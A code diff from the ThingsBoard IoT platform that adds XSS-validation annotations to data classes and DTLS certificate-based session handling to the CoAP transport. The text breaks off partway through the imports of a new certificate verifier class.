29 | 33 | @Getter |
34 | + @NoXss | |
30 | 35 | private final T userValue; |
31 | 36 | @Getter |
37 | + @Valid | |
32 | 38 | private final DynamicValue<T> dynamicValue; |
33 | 39 | |
34 | 40 | public FilterPredicateValue(T defaultValue) { | ... | ... |
... | ... | @@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query; |
17 | 17 | |
18 | 18 | import lombok.Data; |
19 | 19 | |
20 | +import javax.validation.Valid; | |
21 | + | |
20 | 22 | @Data |
21 | 23 | public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> { |
22 | 24 | |
23 | 25 | private StringOperation operation; |
26 | + @Valid | |
24 | 27 | private FilterPredicateValue<String> value; |
25 | 28 | private boolean ignoreCase; |
26 | 29 | ... | ... |
... | ... | @@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo; |
26 | 26 | import org.thingsboard.server.common.data.id.RuleChainId; |
27 | 27 | import org.thingsboard.server.common.data.id.RuleNodeId; |
28 | 28 | import org.thingsboard.server.common.data.id.TenantId; |
29 | +import org.thingsboard.server.common.data.validation.NoXss; | |
29 | 30 | |
30 | 31 | @Data |
31 | 32 | @EqualsAndHashCode(callSuper = true) |
... | ... | @@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im |
35 | 36 | private static final long serialVersionUID = -5656679015121935465L; |
36 | 37 | |
37 | 38 | private TenantId tenantId; |
39 | + @NoXss | |
38 | 40 | private String name; |
39 | 41 | private RuleNodeId firstRuleNodeId; |
40 | 42 | private boolean root; | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.common.data.validation; | |
17 | + | |
18 | +import javax.validation.Constraint; | |
19 | +import javax.validation.Payload; | |
20 | +import java.lang.annotation.ElementType; | |
21 | +import java.lang.annotation.Retention; | |
22 | +import java.lang.annotation.RetentionPolicy; | |
23 | +import java.lang.annotation.Target; | |
24 | + | |
25 | +@Retention(RetentionPolicy.RUNTIME) | |
26 | +@Target(ElementType.FIELD) | |
27 | +@Constraint(validatedBy = {}) | |
28 | +public @interface NoXss { | |
29 | + String message() default "field value is malformed"; | |
30 | + | |
31 | + Class<?>[] groups() default {}; | |
32 | + | |
33 | + Class<? extends Payload>[] payload() default {}; | |
34 | +} | ... | ... |
... | ... | @@ -45,6 +45,10 @@ |
45 | 45 | <artifactId>californium-core</artifactId> |
46 | 46 | </dependency> |
47 | 47 | <dependency> |
48 | + <groupId>org.eclipse.californium</groupId> | |
49 | + <artifactId>scandium</artifactId> | |
50 | + </dependency> | |
51 | + <dependency> | |
48 | 52 | <groupId>org.springframework</groupId> |
49 | 53 | <artifactId>spring-context-support</artifactId> |
50 | 54 | </dependency> | ... | ... |
... | ... | @@ -48,6 +48,10 @@ public class CoapTransportContext extends TransportContext { |
48 | 48 | private Long timeout; |
49 | 49 | |
50 | 50 | @Getter |
51 | + @Autowired(required = false) | |
52 | + private TbCoapDtlsSettings dtlsSettings; | |
53 | + | |
54 | + @Getter | |
51 | 55 | @Autowired |
52 | 56 | private JsonCoapAdaptor jsonCoapAdaptor; |
53 | 57 | ... | ... |
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/CoapTransportResource.java
... | ... | @@ -27,6 +27,7 @@ import org.eclipse.californium.core.observe.ObserveRelation; |
27 | 27 | import org.eclipse.californium.core.server.resources.CoapExchange; |
28 | 28 | import org.eclipse.californium.core.server.resources.Resource; |
29 | 29 | import org.eclipse.californium.core.server.resources.ResourceObserver; |
30 | +import org.springframework.util.StringUtils; | |
30 | 31 | import org.thingsboard.server.common.data.DataConstants; |
31 | 32 | import org.thingsboard.server.common.data.DeviceProfile; |
32 | 33 | import org.thingsboard.server.common.data.DeviceTransportType; |
... | ... | @@ -63,15 +64,22 @@ public class CoapTransportResource extends AbstractCoapTransportResource { |
63 | 64 | private static final int FEATURE_TYPE_POSITION = 4; |
64 | 65 | private static final int REQUEST_ID_POSITION = 5; |
65 | 66 | |
67 | + private static final int FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST = 3; | |
68 | + private static final int REQUEST_ID_POSITION_CERTIFICATE_REQUEST = 4; | |
69 | + private static final String DTLS_SESSION_ID_KEY = "DTLS_SESSION_ID"; | |
70 | + | |
66 | 71 | private final ConcurrentMap<String, TransportProtos.SessionInfoProto> tokenToSessionIdMap = new ConcurrentHashMap<>(); |
67 | 72 | private final ConcurrentMap<String, AtomicInteger> tokenToNotificationCounterMap = new ConcurrentHashMap<>(); |
68 | 73 | private final Set<UUID> rpcSubscriptions = ConcurrentHashMap.newKeySet(); |
69 | 74 | private final Set<UUID> attributeSubscriptions = ConcurrentHashMap.newKeySet(); |
70 | 75 | |
71 | - public CoapTransportResource(CoapTransportContext coapTransportContext, String name) { | |
76 | + private ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap; | |
77 | + | |
78 | + public CoapTransportResource(CoapTransportContext coapTransportContext, ConcurrentMap<String, TbCoapDtlsSessionInfo> dtlsSessionIdMap, String name) { | |
72 | 79 | super(coapTransportContext, name); |
73 | 80 | this.setObservable(true); // enable observing |
74 | 81 | this.addObserver(new CoapResourceObserver()); |
82 | + this.dtlsSessionIdMap = dtlsSessionIdMap; | |
75 | 83 | // this.setObservable(false); // disable observing |
76 | 84 | // this.setObserveType(CoAP.Type.CON); // configure the notification type to CONs |
77 | 85 | // this.getAttributes().setObservable(); // mark observable in the Link-Format |
... | ... | @@ -187,107 +195,132 @@ public class CoapTransportResource extends AbstractCoapTransportResource { |
187 | 195 | Exchange advanced = exchange.advanced(); |
188 | 196 | Request request = advanced.getRequest(); |
189 | 197 | |
198 | + String dtlsSessionIdStr = request.getSourceContext().get(DTLS_SESSION_ID_KEY); | |
199 | + if (!StringUtils.isEmpty(dtlsSessionIdStr)) { | |
200 | + if (dtlsSessionIdMap != null) { | |
201 | + TbCoapDtlsSessionInfo tbCoapDtlsSessionInfo = dtlsSessionIdMap | |
202 | + .computeIfPresent(dtlsSessionIdStr, (dtlsSessionId, dtlsSessionInfo) -> { | |
203 | + dtlsSessionInfo.setLastActivityTime(System.currentTimeMillis()); | |
204 | + return dtlsSessionInfo; | |
205 | + }); | |
206 | + if (tbCoapDtlsSessionInfo != null) { | |
207 | + processRequest(exchange, type, request, tbCoapDtlsSessionInfo.getSessionInfoProto(), tbCoapDtlsSessionInfo.getDeviceProfile()); | |
208 | + } else { | |
209 | + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED); | |
210 | + } | |
211 | + } else { | |
212 | + processAccessTokenRequest(exchange, type, request); | |
213 | + } | |
214 | + } else { | |
215 | + processAccessTokenRequest(exchange, type, request); | |
216 | + } | |
217 | + } | |
218 | + | |
219 | + private void processAccessTokenRequest(CoapExchange exchange, SessionMsgType type, Request request) { | |
190 | 220 | Optional<DeviceTokenCredentials> credentials = decodeCredentials(request); |
191 | 221 | if (credentials.isEmpty()) { |
192 | - exchange.respond(CoAP.ResponseCode.BAD_REQUEST); | |
222 | + exchange.respond(CoAP.ResponseCode.UNAUTHORIZED); | |
193 | 223 | return; |
194 | 224 | } |
195 | - | |
196 | 225 | transportService.process(DeviceTransportType.COAP, TransportProtos.ValidateDeviceTokenRequestMsg.newBuilder().setToken(credentials.get().getCredentialsId()).build(), |
197 | 226 | new CoapDeviceAuthCallback(transportContext, exchange, (sessionInfo, deviceProfile) -> { |
198 | - UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB()); | |
199 | - try { | |
200 | - TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile); | |
201 | - CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload()); | |
202 | - switch (type) { | |
203 | - case POST_ATTRIBUTES_REQUEST: | |
204 | - transportService.process(sessionInfo, | |
205 | - coapTransportAdaptor.convertToPostAttributes(sessionId, request, | |
206 | - transportConfigurationContainer.getAttributesMsgDescriptor()), | |
207 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
208 | - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | |
209 | - break; | |
210 | - case POST_TELEMETRY_REQUEST: | |
211 | - transportService.process(sessionInfo, | |
212 | - coapTransportAdaptor.convertToPostTelemetry(sessionId, request, | |
213 | - transportConfigurationContainer.getTelemetryMsgDescriptor()), | |
214 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
215 | - reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | |
216 | - break; | |
217 | - case CLAIM_REQUEST: | |
218 | - transportService.process(sessionInfo, | |
219 | - coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo), | |
220 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
221 | - break; | |
222 | - case SUBSCRIBE_ATTRIBUTES_REQUEST: | |
223 | - TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | |
224 | - if (currentAttrSession == null) { | |
225 | - attributeSubscriptions.add(sessionId); | |
226 | - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | |
227 | - transportService.process(sessionInfo, | |
228 | - TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange)); | |
229 | - } | |
230 | - break; | |
231 | - case UNSUBSCRIBE_ATTRIBUTES_REQUEST: | |
232 | - TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | |
233 | - if (attrSession != null) { | |
234 | - UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB()); | |
235 | - attributeSubscriptions.remove(attrSessionId); | |
236 | - transportService.process(attrSession, | |
237 | - TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(), | |
238 | - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
239 | - closeAndDeregister(sessionInfo, sessionId); | |
240 | - } | |
241 | - break; | |
242 | - case SUBSCRIBE_RPC_COMMANDS_REQUEST: | |
243 | - TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | |
244 | - if (currentRpcSession == null) { | |
245 | - rpcSubscriptions.add(sessionId); | |
246 | - registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | |
247 | - transportService.process(sessionInfo, | |
248 | - TransportProtos.SubscribeToRPCMsg.getDefaultInstance(), | |
249 | - new CoapNoOpCallback(exchange)); | |
250 | - } else { | |
251 | - UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB()); | |
252 | - reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId)); | |
253 | - } | |
254 | - break; | |
255 | - case UNSUBSCRIBE_RPC_COMMANDS_REQUEST: | |
256 | - TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | |
257 | - if (rpcSession != null) { | |
258 | - UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB()); | |
259 | - rpcSubscriptions.remove(rpcSessionId); | |
260 | - transportService.process(rpcSession, | |
261 | - TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(), | |
262 | - new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
263 | - closeAndDeregister(sessionInfo, sessionId); | |
264 | - } | |
265 | - break; | |
266 | - case TO_DEVICE_RPC_RESPONSE: | |
267 | - transportService.process(sessionInfo, | |
268 | - coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request), | |
269 | - new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
270 | - break; | |
271 | - case TO_SERVER_RPC_REQUEST: | |
272 | - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | |
273 | - transportService.process(sessionInfo, | |
274 | - coapTransportAdaptor.convertToServerRpcRequest(sessionId, request), | |
275 | - new CoapNoOpCallback(exchange)); | |
276 | - break; | |
277 | - case GET_ATTRIBUTES_REQUEST: | |
278 | - transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | |
279 | - transportService.process(sessionInfo, | |
280 | - coapTransportAdaptor.convertToGetAttributes(sessionId, request), | |
281 | - new CoapNoOpCallback(exchange)); | |
282 | - break; | |
283 | - } | |
284 | - } catch (AdaptorException e) { | |
285 | - log.trace("[{}] Failed to decode message: ", sessionId, e); | |
286 | - exchange.respond(CoAP.ResponseCode.BAD_REQUEST); | |
287 | - } | |
227 | + processRequest(exchange, type, request, sessionInfo, deviceProfile); | |
288 | 228 | })); |
289 | 229 | } |
290 | 230 | |
231 | + private void processRequest(CoapExchange exchange, SessionMsgType type, Request request, TransportProtos.SessionInfoProto sessionInfo, DeviceProfile deviceProfile) { | |
232 | + UUID sessionId = new UUID(sessionInfo.getSessionIdMSB(), sessionInfo.getSessionIdLSB()); | |
233 | + try { | |
234 | + TransportConfigurationContainer transportConfigurationContainer = getTransportConfigurationContainer(deviceProfile); | |
235 | + CoapTransportAdaptor coapTransportAdaptor = getCoapTransportAdaptor(transportConfigurationContainer.isJsonPayload()); | |
236 | + switch (type) { | |
237 | + case POST_ATTRIBUTES_REQUEST: | |
238 | + transportService.process(sessionInfo, | |
239 | + coapTransportAdaptor.convertToPostAttributes(sessionId, request, | |
240 | + transportConfigurationContainer.getAttributesMsgDescriptor()), | |
241 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
242 | + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | |
243 | + break; | |
244 | + case POST_TELEMETRY_REQUEST: | |
245 | + transportService.process(sessionInfo, | |
246 | + coapTransportAdaptor.convertToPostTelemetry(sessionId, request, | |
247 | + transportConfigurationContainer.getTelemetryMsgDescriptor()), | |
248 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
249 | + reportActivity(sessionInfo, attributeSubscriptions.contains(sessionId), rpcSubscriptions.contains(sessionId)); | |
250 | + break; | |
251 | + case CLAIM_REQUEST: | |
252 | + transportService.process(sessionInfo, | |
253 | + coapTransportAdaptor.convertToClaimDevice(sessionId, request, sessionInfo), | |
254 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
255 | + break; | |
256 | + case SUBSCRIBE_ATTRIBUTES_REQUEST: | |
257 | + TransportProtos.SessionInfoProto currentAttrSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | |
258 | + if (currentAttrSession == null) { | |
259 | + attributeSubscriptions.add(sessionId); | |
260 | + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | |
261 | + transportService.process(sessionInfo, | |
262 | + TransportProtos.SubscribeToAttributeUpdatesMsg.getDefaultInstance(), new CoapNoOpCallback(exchange)); | |
263 | + } | |
264 | + break; | |
265 | + case UNSUBSCRIBE_ATTRIBUTES_REQUEST: | |
266 | + TransportProtos.SessionInfoProto attrSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | |
267 | + if (attrSession != null) { | |
268 | + UUID attrSessionId = new UUID(attrSession.getSessionIdMSB(), attrSession.getSessionIdLSB()); | |
269 | + attributeSubscriptions.remove(attrSessionId); | |
270 | + transportService.process(attrSession, | |
271 | + TransportProtos.SubscribeToAttributeUpdatesMsg.newBuilder().setUnsubscribe(true).build(), | |
272 | + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
273 | + closeAndDeregister(sessionInfo, sessionId); | |
274 | + } | |
275 | + break; | |
276 | + case SUBSCRIBE_RPC_COMMANDS_REQUEST: | |
277 | + TransportProtos.SessionInfoProto currentRpcSession = tokenToSessionIdMap.get(getTokenFromRequest(request)); | |
278 | + if (currentRpcSession == null) { | |
279 | + rpcSubscriptions.add(sessionId); | |
280 | + registerAsyncCoapSession(exchange, sessionInfo, coapTransportAdaptor, getTokenFromRequest(request)); | |
281 | + transportService.process(sessionInfo, | |
282 | + TransportProtos.SubscribeToRPCMsg.getDefaultInstance(), | |
283 | + new CoapNoOpCallback(exchange)); | |
284 | + } else { | |
285 | + UUID rpcSessionId = new UUID(currentRpcSession.getSessionIdMSB(), currentRpcSession.getSessionIdLSB()); | |
286 | + reportActivity(currentRpcSession, attributeSubscriptions.contains(rpcSessionId), rpcSubscriptions.contains(rpcSessionId)); | |
287 | + } | |
288 | + break; | |
289 | + case UNSUBSCRIBE_RPC_COMMANDS_REQUEST: | |
290 | + TransportProtos.SessionInfoProto rpcSession = lookupAsyncSessionInfo(getTokenFromRequest(request)); | |
291 | + if (rpcSession != null) { | |
292 | + UUID rpcSessionId = new UUID(rpcSession.getSessionIdMSB(), rpcSession.getSessionIdLSB()); | |
293 | + rpcSubscriptions.remove(rpcSessionId); | |
294 | + transportService.process(rpcSession, | |
295 | + TransportProtos.SubscribeToRPCMsg.newBuilder().setUnsubscribe(true).build(), | |
296 | + new CoapOkCallback(exchange, CoAP.ResponseCode.DELETED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
297 | + closeAndDeregister(sessionInfo, sessionId); | |
298 | + } | |
299 | + break; | |
300 | + case TO_DEVICE_RPC_RESPONSE: | |
301 | + transportService.process(sessionInfo, | |
302 | + coapTransportAdaptor.convertToDeviceRpcResponse(sessionId, request), | |
303 | + new CoapOkCallback(exchange, CoAP.ResponseCode.CREATED, CoAP.ResponseCode.INTERNAL_SERVER_ERROR)); | |
304 | + break; | |
305 | + case TO_SERVER_RPC_REQUEST: | |
306 | + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | |
307 | + transportService.process(sessionInfo, | |
308 | + coapTransportAdaptor.convertToServerRpcRequest(sessionId, request), | |
309 | + new CoapNoOpCallback(exchange)); | |
310 | + break; | |
311 | + case GET_ATTRIBUTES_REQUEST: | |
312 | + transportService.registerSyncSession(sessionInfo, getCoapSessionListener(exchange, coapTransportAdaptor), transportContext.getTimeout()); | |
313 | + transportService.process(sessionInfo, | |
314 | + coapTransportAdaptor.convertToGetAttributes(sessionId, request), | |
315 | + new CoapNoOpCallback(exchange)); | |
316 | + break; | |
317 | + } | |
318 | + } catch (AdaptorException e) { | |
319 | + log.trace("[{}] Failed to decode message: ", sessionId, e); | |
320 | + exchange.respond(CoAP.ResponseCode.BAD_REQUEST); | |
321 | + } | |
322 | + } | |
323 | + | |
291 | 324 | private TransportProtos.SessionInfoProto lookupAsyncSessionInfo(String token) { |
292 | 325 | tokenToNotificationCounterMap.remove(token); |
293 | 326 | return tokenToSessionIdMap.remove(token); |
... | ... | @@ -310,7 +343,7 @@ public class CoapTransportResource extends AbstractCoapTransportResource { |
310 | 343 | |
311 | 344 | private Optional<DeviceTokenCredentials> decodeCredentials(Request request) { |
312 | 345 | List<String> uriPath = request.getOptions().getUriPath(); |
313 | - if (uriPath.size() >= ACCESS_TOKEN_POSITION) { | |
346 | + if (uriPath.size() > ACCESS_TOKEN_POSITION) { | |
314 | 347 | return Optional.of(new DeviceTokenCredentials(uriPath.get(ACCESS_TOKEN_POSITION - 1))); |
315 | 348 | } else { |
316 | 349 | return Optional.empty(); |
... | ... | @@ -322,8 +355,11 @@ public class CoapTransportResource extends AbstractCoapTransportResource { |
322 | 355 | try { |
323 | 356 | if (uriPath.size() >= FEATURE_TYPE_POSITION) { |
324 | 357 | return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION - 1).toUpperCase())); |
325 | - } else if (uriPath.size() == 3 && uriPath.contains(DataConstants.PROVISION)) { | |
326 | - return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase())); | |
358 | + } else if (uriPath.size() >= FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST) { | |
359 | + if (uriPath.contains(DataConstants.PROVISION)) { | |
360 | + return Optional.of(FeatureType.valueOf(DataConstants.PROVISION.toUpperCase())); | |
361 | + } | |
362 | + return Optional.of(FeatureType.valueOf(uriPath.get(FEATURE_TYPE_POSITION_CERTIFICATE_REQUEST - 1).toUpperCase())); | |
327 | 363 | } |
328 | 364 | } catch (RuntimeException e) { |
329 | 365 | log.warn("Failed to decode feature type: {}", uriPath); |
... | ... | @@ -336,6 +372,8 @@ public class CoapTransportResource extends AbstractCoapTransportResource { |
336 | 372 | try { |
337 | 373 | if (uriPath.size() >= REQUEST_ID_POSITION) { |
338 | 374 | return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION - 1))); |
375 | + } else { | |
376 | + return Optional.of(Integer.valueOf(uriPath.get(REQUEST_ID_POSITION_CERTIFICATE_REQUEST - 1))); | |
339 | 377 | } |
340 | 378 | } catch (RuntimeException e) { |
341 | 379 | log.warn("Failed to decode feature type: {}", uriPath); | ... | ... |
... | ... | @@ -19,7 +19,10 @@ import lombok.extern.slf4j.Slf4j; |
19 | 19 | import org.eclipse.californium.core.CoapResource; |
20 | 20 | import org.eclipse.californium.core.CoapServer; |
21 | 21 | import org.eclipse.californium.core.network.CoapEndpoint; |
22 | +import org.eclipse.californium.core.network.config.NetworkConfig; | |
22 | 23 | import org.eclipse.californium.core.server.resources.Resource; |
24 | +import org.eclipse.californium.scandium.DTLSConnector; | |
25 | +import org.eclipse.californium.scandium.config.DtlsConnectorConfig; | |
23 | 26 | import org.springframework.beans.factory.annotation.Autowired; |
24 | 27 | import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; |
25 | 28 | import org.springframework.stereotype.Service; |
... | ... | @@ -30,6 +33,11 @@ import javax.annotation.PreDestroy; |
30 | 33 | import java.net.InetAddress; |
31 | 34 | import java.net.InetSocketAddress; |
32 | 35 | import java.net.UnknownHostException; |
36 | +import java.util.Random; | |
37 | +import java.util.concurrent.ConcurrentMap; | |
38 | +import java.util.concurrent.Executors; | |
39 | +import java.util.concurrent.ScheduledExecutorService; | |
40 | +import java.util.concurrent.TimeUnit; | |
33 | 41 | |
34 | 42 | @Service("CoapTransportService") |
35 | 43 | @ConditionalOnExpression("'${service.type:null}'=='tb-transport' || ('${service.type:null}'=='monolith' && '${transport.api_enabled:true}'=='true' && '${transport.coap.enabled}'=='true')") |
... | ... | @@ -44,34 +52,53 @@ public class CoapTransportService { |
44 | 52 | @Autowired |
45 | 53 | private CoapTransportContext coapTransportContext; |
46 | 54 | |
55 | + private TbCoapDtlsCertificateVerifier tbDtlsCertificateVerifier; | |
56 | + | |
47 | 57 | private CoapServer server; |
48 | 58 | |
59 | + private ScheduledExecutorService dtlsSessionsExecutor; | |
60 | + | |
49 | 61 | @PostConstruct |
50 | 62 | public void init() throws UnknownHostException { |
51 | 63 | log.info("Starting CoAP transport..."); |
52 | 64 | log.info("Starting CoAP transport server"); |
53 | 65 | |
54 | 66 | this.server = new CoapServer(); |
67 | + | |
68 | + CoapEndpoint.Builder capEndpointBuilder = new CoapEndpoint.Builder(); | |
69 | + | |
70 | + if (isDtlsEnabled()) { | |
71 | + TbCoapDtlsSettings dtlsSettings = coapTransportContext.getDtlsSettings(); | |
72 | + DtlsConnectorConfig dtlsConnectorConfig = dtlsSettings.dtlsConnectorConfig(); | |
73 | + DTLSConnector connector = new DTLSConnector(dtlsConnectorConfig); | |
74 | + capEndpointBuilder.setConnector(connector); | |
75 | + if (dtlsConnectorConfig.isClientAuthenticationRequired()) { | |
76 | + tbDtlsCertificateVerifier = (TbCoapDtlsCertificateVerifier) dtlsConnectorConfig.getAdvancedCertificateVerifier(); | |
77 | + dtlsSessionsExecutor = Executors.newSingleThreadScheduledExecutor(); | |
78 | + dtlsSessionsExecutor.scheduleAtFixedRate(this::evictTimeoutSessions, new Random().nextInt((int) getDtlsSessionReportTimeout()), getDtlsSessionReportTimeout(), TimeUnit.MILLISECONDS); | |
79 | + } | |
80 | + } else { | |
81 | + InetAddress addr = InetAddress.getByName(coapTransportContext.getHost()); | |
82 | + InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort()); | |
83 | + capEndpointBuilder.setInetSocketAddress(sockAddr); | |
84 | + capEndpointBuilder.setNetworkConfig(NetworkConfig.getStandard()); | |
85 | + } | |
86 | + CoapEndpoint coapEndpoint = capEndpointBuilder.build(); | |
87 | + | |
88 | + server.addEndpoint(coapEndpoint); | |
89 | + | |
55 | 90 | createResources(); |
56 | 91 | Resource root = this.server.getRoot(); |
57 | 92 | TbCoapServerMessageDeliverer messageDeliverer = new TbCoapServerMessageDeliverer(root); |
58 | 93 | this.server.setMessageDeliverer(messageDeliverer); |
59 | 94 | |
60 | - InetAddress addr = InetAddress.getByName(coapTransportContext.getHost()); | |
61 | - InetSocketAddress sockAddr = new InetSocketAddress(addr, coapTransportContext.getPort()); | |
62 | - | |
63 | - CoapEndpoint.Builder coapEndpoitBuilder = new CoapEndpoint.Builder(); | |
64 | - coapEndpoitBuilder.setInetSocketAddress(sockAddr); | |
65 | - CoapEndpoint coapEndpoint = coapEndpoitBuilder.build(); | |
66 | - | |
67 | - server.addEndpoint(coapEndpoint); | |
68 | 95 | server.start(); |
69 | 96 | log.info("CoAP transport started!"); |
70 | 97 | } |
71 | 98 | |
72 | 99 | private void createResources() { |
73 | 100 | CoapResource api = new CoapResource(API); |
74 | - api.add(new CoapTransportResource(coapTransportContext, V1)); | |
101 | + api.add(new CoapTransportResource(coapTransportContext, getDtlsSessionsMap(), V1)); | |
75 | 102 | |
76 | 103 | CoapResource efento = new CoapResource(EFENTO); |
77 | 104 | CoapEfentoTransportResource efentoMeasurementsTransportResource = new CoapEfentoTransportResource(coapTransportContext, MEASUREMENTS); |
... | ... | @@ -81,8 +108,27 @@ public class CoapTransportService { |
81 | 108 | server.add(efento); |
82 | 109 | } |
83 | 110 | |
111 | + private boolean isDtlsEnabled() { | |
112 | + return coapTransportContext.getDtlsSettings() != null; | |
113 | + } | |
114 | + | |
115 | + private ConcurrentMap<String, TbCoapDtlsSessionInfo> getDtlsSessionsMap() { | |
116 | + return tbDtlsCertificateVerifier != null ? tbDtlsCertificateVerifier.getTbCoapDtlsSessionIdsMap() : null; | |
117 | + } | |
118 | + | |
119 | + private void evictTimeoutSessions() { | |
120 | + tbDtlsCertificateVerifier.evictTimeoutSessions(); | |
121 | + } | |
122 | + | |
123 | + private long getDtlsSessionReportTimeout() { | |
124 | + return tbDtlsCertificateVerifier.getDtlsSessionReportTimeout(); | |
125 | + } | |
126 | + | |
84 | 127 | @PreDestroy |
85 | 128 | public void shutdown() { |
129 | + if (dtlsSessionsExecutor != null) { | |
130 | + dtlsSessionsExecutor.shutdownNow(); | |
131 | + } | |
86 | 132 | log.info("Stopping CoAP transport!"); |
87 | 133 | this.server.destroy(); |
88 | 134 | log.info("CoAP transport stopped!"); | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.transport.coap; | |
17 | + | |
18 | +import lombok.Data; | |
19 | +import lombok.extern.slf4j.Slf4j; | |
20 | +import org.eclipse.californium.elements.util.CertPathUtil; | |
21 | +import org.eclipse.californium.scandium.dtls.AlertMessage; | |
22 | +import org.eclipse.californium.scandium.dtls.CertificateMessage; | |
23 | +import org.eclipse.californium.scandium.dtls.CertificateType; | |
24 | +import org.eclipse.californium.scandium.dtls.CertificateVerificationResult; | |
25 | +import org.eclipse.californium.scandium.dtls.ConnectionId; | |
26 | +import org.eclipse.californium.scandium.dtls.DTLSSession; | |
27 | +import org.eclipse.californium.scandium.dtls.HandshakeException; | |
28 | +import org.eclipse.californium.scandium.dtls.HandshakeResultHandler; | |
29 | +import org.eclipse.californium.scandium.dtls.x509.NewAdvancedCertificateVerifier; | |
30 | +import org.eclipse.californium.scandium.util.ServerNames; | |
